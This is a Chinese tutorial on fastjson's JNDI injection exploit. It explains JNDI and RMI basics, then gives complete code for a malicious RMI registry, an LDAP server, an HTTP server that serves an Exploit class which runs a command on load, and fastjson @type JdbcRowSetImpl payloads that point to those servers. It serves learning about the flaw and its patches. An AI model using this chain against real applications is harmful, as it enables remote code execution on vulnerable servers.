声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

JNDI 是什么

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

JNDI 包含在Java SE中,不需要引用第三方jar即可使用。要使用 JNDI 必须要有一个或多个服务提供者。JDK 本身已经包括了下面几种服务提供者。

  • 轻量级目录访问协议 (LDAP)
  • CORBA 公共对象服务命名(COS naming)
  • Java 远程方法调用 (RMI)
  • 域名服务 (DNS)

这么说起来还是有点抽象,简单理解就是服务提供者提供一个类似Key Value的数据,JNDI可以通过这个 Key 获取到服务提供者上的提供的Value,因此JNDI是无法单独使用的。

使用JNDI的方式也很简单,下面就是一个获取远程对象的示例代码。

// 创建一个上下文对象
InitialContext context = new InitialContext();
// 查找监听在本地 1099 端口上 RMI 服务的 Object 对象
Object obj = context.lookup("rmi://localhost:1099/Object");

RMI 是什么

RMI 是 Remote Method Invocation 的缩写,中文含义为远程方法调用,即一个Java程序调用调用另一个Java程序暴露出来的方法。

RMI 有三个概念:

  • Registry : 提供服务注册和服务获取,服务端将类名称,存放地址注册到Registry中,以供客户端获取。
  • Server : 远程方法的提供者。
  • Client : 远程方法的调用者。

远程方法的定义需要满足两个条件:

  1. 实现 java.rmi.Remote
  2. 继承 java.rmi.server.UnicastRemoteObject

RMI 使用示例

Registry

创建 Registry

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class RmiRegistry {

    private final static Integer rmiPort = 1099;

    public static void main(String[] args) throws RemoteException, InterruptedException {
        // 创建一个 Registry
        LocateRegistry.createRegistry(rmiPort);
        System.out.println("RMI server started on: 0.0.0.0:" + rmiPort);

        // 阻塞主线程,避免程序退出
        CountDownLatch countDownLatch = new CountDownLatch(1);
        countDownLatch.await();
    }
}

Server

定义接口,目的是给 Client 使用。

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    void sayHello(String name) throws RemoteException;
}

定义实现类

import java.rmi.RemoteException;

public class HelloServiceImpl implements HelloService {
    @Override
    public void sayHello(String name) throws RemoteException {
        System.out.println("hello " + name);
    }
}

注册对象,需要先使用 UnicastRemoteObject.exportObject() 将对象转换为 skeletonskeleton 是 RMI 底层创建的一个代理对象,它继承了 java.rmi.server.UnicastRemoteObject,负责与 Client 进行网络通信。

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

    public static void main(String[] args) throws Exception {
        // 实例化要暴露的对象
        HelloService helloService = new HelloServiceImpl();

        // 将对象暴露出去,RMI 底层会创建该对象的一个代理对象,并监听一个端口用于处理来自客户端的请求
        HelloService skeleton = (HelloService) UnicastRemoteObject.exportObject(helloService, 1100);

        /*================= 注册方式一开始 ====================*/
        // 获取 Registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 将这个对象注册到 Registry 中,第一个参数就是这个对象在 Registry 中的名称,客户端需要使用这个名称才能获取到这个对象
        registry.bind("helloService", skeleton);
        /*================= 注册方式一结束 ====================*/

        /*================= 注册方式二开始 ====================*/
//        Naming.bind("rmi://localhost:1099/helloService", skeleton);
        /*================= 注册方式二结束 ====================*/
        System.out.println("export helloService");
    }
}

可以看到注册方式二要比一简洁很多,这是 RMI 为了方便开发者使用,将注册方式一包装了一层,点击源码可以看到它的实现方式和注册方式一很相似。

public static void bind(String name, Remote obj)
    throws AlreadyBoundException,
        java.net.MalformedURLException,
        RemoteException
{
    ParsedNamingURL parsed = parseURL(name);
    Registry registry = getRegistry(parsed);

    if (obj == null)
        throw new NullPointerException("cannot bind to null");

    registry.bind(parsed.name, obj);
}

Client

定义接口,因为 Server 和 Client 存在不同的 Java 程序中,Client 想要调用 Server 上面的服务需要知道方法才可以。

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    void sayHello(String name) throws RemoteException;
}

获取对象并调用,在这里获取到的对象是 stubstub 负责与 Server 进行网络通信,例如在调用 sayHello() 方法时RMI通过网络请求位于服务端的真正方法,如果有返回值时还会将内容传递回来。

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    public static void main(String[] args) throws Exception {

        /*================= 获取方式一开始 ====================*/
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        HelloService stub = (HelloService) registry.lookup("helloService");
        /*================= 获取方式一结束 ====================*/

        /*================= 获取方式二开始 ====================*/
//        HelloService stub = (HelloService) Naming.lookup("rmi://localhost:1099/helloService");
        /*================= 获取方式二结束 ====================*/

        stub.sayHello("守法市民小杜");
    }
}

同理 Naming 也提供了获取远程对象的功能,它的源码如下:

public static Remote lookup(String name)
    throws NotBoundException,
        java.net.MalformedURLException,
        RemoteException
{
    ParsedNamingURL parsed = parseURL(name);
    Registry registry = getRegistry(parsed);

    if (parsed.name == null)
        return registry;
    return registry.lookup(parsed.name);
}

测试

按照 Registry > Server > Client 这个顺序启动,可以看到 Client 调用成功之后 Server 打印了如下内容:

hello 守法市民小杜

Registry、Server、Client 的调用关系可以总结为这个图:

https://oss.typesafe.cn/rmi.png

JNDI + RMI 组合使用

定义 Registry

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.text.MessageFormat;

public class RMIServer {
    private static final Integer rmiServerPort = 1099;
    private static final String httpServerAddress = "127.0.0.1";
    private static final Integer httpServerPort = 80;

    public static void main(String[] args) throws Exception {
        // 工程地址,目的是让 JNDI 加载位于此处的类文件
        String factoryLocation = MessageFormat.format("http://{0}:{1}/", httpServerAddress, httpServerPort + "");
        // 创建 Registry
        Registry registry = LocateRegistry.createRegistry(rmiServerPort);
        // 创建 JNDI 的引用
        // className 远程对象的类名称,不能为null
        // factory 加载类成功后要实例化的类名称
        // factoryLocation 提供类文件的地址,为null时从本地加载
        Reference reference = new Reference("Exploit", "Exploit", factoryLocation);
        // 将 JNDI引用 包装为 RMI 可注册的类
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        // 将类信息注册到 Registry
        registry.bind("Exploit", referenceWrapper);
        System.out.println("[*] RMI server listening on: 0.0.0.0:" + rmiServerPort);
    }
}

可以看到我们创建 Registry 之后并没有 export 某一对象,是创建了一个 JNDI 的 Reference,目的是为了让 JNDI 去加载位于此处的类文件。

既然我们指定了类文件的存放地址是一个HTTP地址,那我们生成一个类,并且将其存放到这个HTTP服务下。

恶意类,简单起见不要添加包名称。

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

HTTP服务,这里我为了方便使用了 sun 公司内置在 jdk 中的一个http server,也可以使用 nginx、apache、tomcat 等web服务器,只需要将编译后的 Exploit.class 放到根目录下即可。

import com.sun.net.httpserver.HttpServer;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class WebServer {
    private static final Integer port = 80;

    public static void main(String[] args) throws IOException, NotFoundException, CannotCompileException {

        // 使用 javassist 获取类字节
        ClassPool classPool = ClassPool.getDefault();
        final CtClass ctClass = classPool.get(Exploit.class.getName());
        // 修改类的名称,这里是为了去除类的包名,与 RMI Server 中保持一致
        ctClass.setName("Exploit");
        final byte[] bytes = ctClass.toBytecode();

        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
        server.createContext("/", httpExchange -> {
            // 将类的字节写入到 response 中
            System.out.println("Req Begin...");
            httpExchange.sendResponseHeaders(200, bytes.length);
            final OutputStream responseBody = httpExchange.getResponseBody();
            responseBody.write(bytes);
            responseBody.close();
            System.out.println("Req End.");
        });
        System.out.println("WebServer started at 0.0.0.0:" + port);
        server.start();
    }
}

最后我们写一个JNDI和RMI组合使用的测试

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDI_RMI {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        Object obj = context.lookup("rmi://localhost:1099/Exploit");
        System.out.println("obj = " + obj);
    }
}

请求之后会输出会是一段异常代码,并且弹出了计算器,这是正常的。

Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at cn.typesafe.jsv.fastjson.JNDI_RMI.main(JNDI_RMI.java:12)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464)
	... 4 more

我们点击进入异常堆栈提示的代码 at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

可以看到在加载类成功后使用反射创建了这个类,并且进行了强制转换,而我们定义的这个类和javax.naming.spi.ObjectFactory没有任何关系,在强转时必然异常,但这并不影响我们添加的代码已经执行了。

JNDI和RMI的调用流程大致是:JNDI 在请求到 RMI 之后,RMI 返回了 Exploit 的 http 地址,JNDI 则通过网络获取到了这个类文件,通过类加载器将其加载到了JVM中并且实例化了这个类,而 Exploit 的静态代码块内是打开计算器的代码,实例化时就会执行这段代码。

https://oss.typesafe.cn/jndi-rmi.png

Fastjson 的 RMI/JNDI 利用漏洞

在上一节中我们有讲到利用 fastjson 的 AutoType 功能,可以指定反序列化的类。安全人员利用 com.sun.rowset.JdbcRowSetImpl 的 JNDI 功能刚好能够触发上面介绍的那个流程。

com.sun.rowset.JdbcRowSetImpl 有两个重要属性

  • dataSourceName 数据源名称
  • autoCommit 触发JNDI请求的关键参数

dataSourceName 的 set 方法可以忽略,就是一个正常的参数赋值。

autoCommit 的 set 方法如下:

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

com.sun.rowset.JdbcRowSetImpl 在反序列化后 conn 参数必然为空,会进入 this.connect() 方法,代码如下。

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

刚说了 conn 参数必然为空,因此就会执行 if 的第二个分支,进行了 JNDI 请求。

因此构造一个 POC 也就十分简单了。

import com.alibaba.fastjson.JSON;

public class Eval3 {

    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

启动了 RMIServerWebServer 后执行这段代码即可完成漏洞利用。

LDAP + JNDI

2017年 Oracle 发布了新版 JDK 默认禁用了通过存储在命名和目录服务中的 JNDI 对象工厂进行远程类加载。要通过 RMI Registry 或 COS Naming 服务提供者启用远程类加载,请根据需要将以下系统属性设置为字符串“true”:

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase

详细的版本信息如下:

JRE 家庭版 JRE 安全基线(完整字符串)
8 1.8.0_121-b13
7 1.7.0_131-b12
6 1.6.0_141-b12

来源:https://www.oracle.com/java/technologies/javase/7u131-relnotes.html

因此安全人员又挖掘到了基于 LDAP + JNDI 的利用方式,流程和 RMI + JNDI 基本相同。

首先是创建一个 LDAP 服务,我们这里使用到了 unboundid-ldapsdk 这个库。

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.text.MessageFormat;

public class LDAPServer {
    private static final String javaCodeBase = "http://127.0.0.1:80/";
    private static final String javaClassName = "Exploit";

    public static void main(String[] args) throws Exception {
        int port = 1389;
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new EvalInMemoryOperationInterceptor());
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    public static class EvalInMemoryOperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String baseDN = result.getRequest().getBaseDN();
            Entry e = new Entry(baseDN);

            e.addAttribute("javaClassName", javaClassName);
            e.addAttribute("javaFactory", javaClassName);
            e.addAttribute("javaCodeBase", javaCodeBase);
            e.addAttribute("objectClass", "javaNamingReference");

            System.out.println(MessageFormat.format("Send LDAP reference result for {0} redirecting to {1}{2}.class", baseDN, javaCodeBase, javaClassName));
            try {
                result.sendSearchEntry(e);
            } catch (LDAPException ex) {
                ex.printStackTrace();
            }
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Http 服务保持不变

测试代码修改为

import com.alibaba.fastjson.JSON;

public class Eval4 {

    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

只需要修改 dataSourceName 的地址。

启动 LDAP 服务和 Http 服务后,执行测试代码也可以完成利用。

但好景不长,Oracle 官方在 Java SE:6u201、7u191、8u182 也修复了这个问题。

文中测试使用系统和工具版本如下:

其他

挖掘漏洞是一个你来我往的过程,一个漏洞出现之后必然会伴随着后续版本的修复,除了那种已经不再更新的类库,因此在选择框架或类库时完善度和活跃度都是重要的度量标准。

fastjson 在后续的版本中也很快修复了这些漏洞,但安全人员又不断挖掘新的利用方式,在下一篇我们也会介绍在 fastjson 几个重要版本的更新内容和新的利用方式,以及在高版本的JDK中如何利用。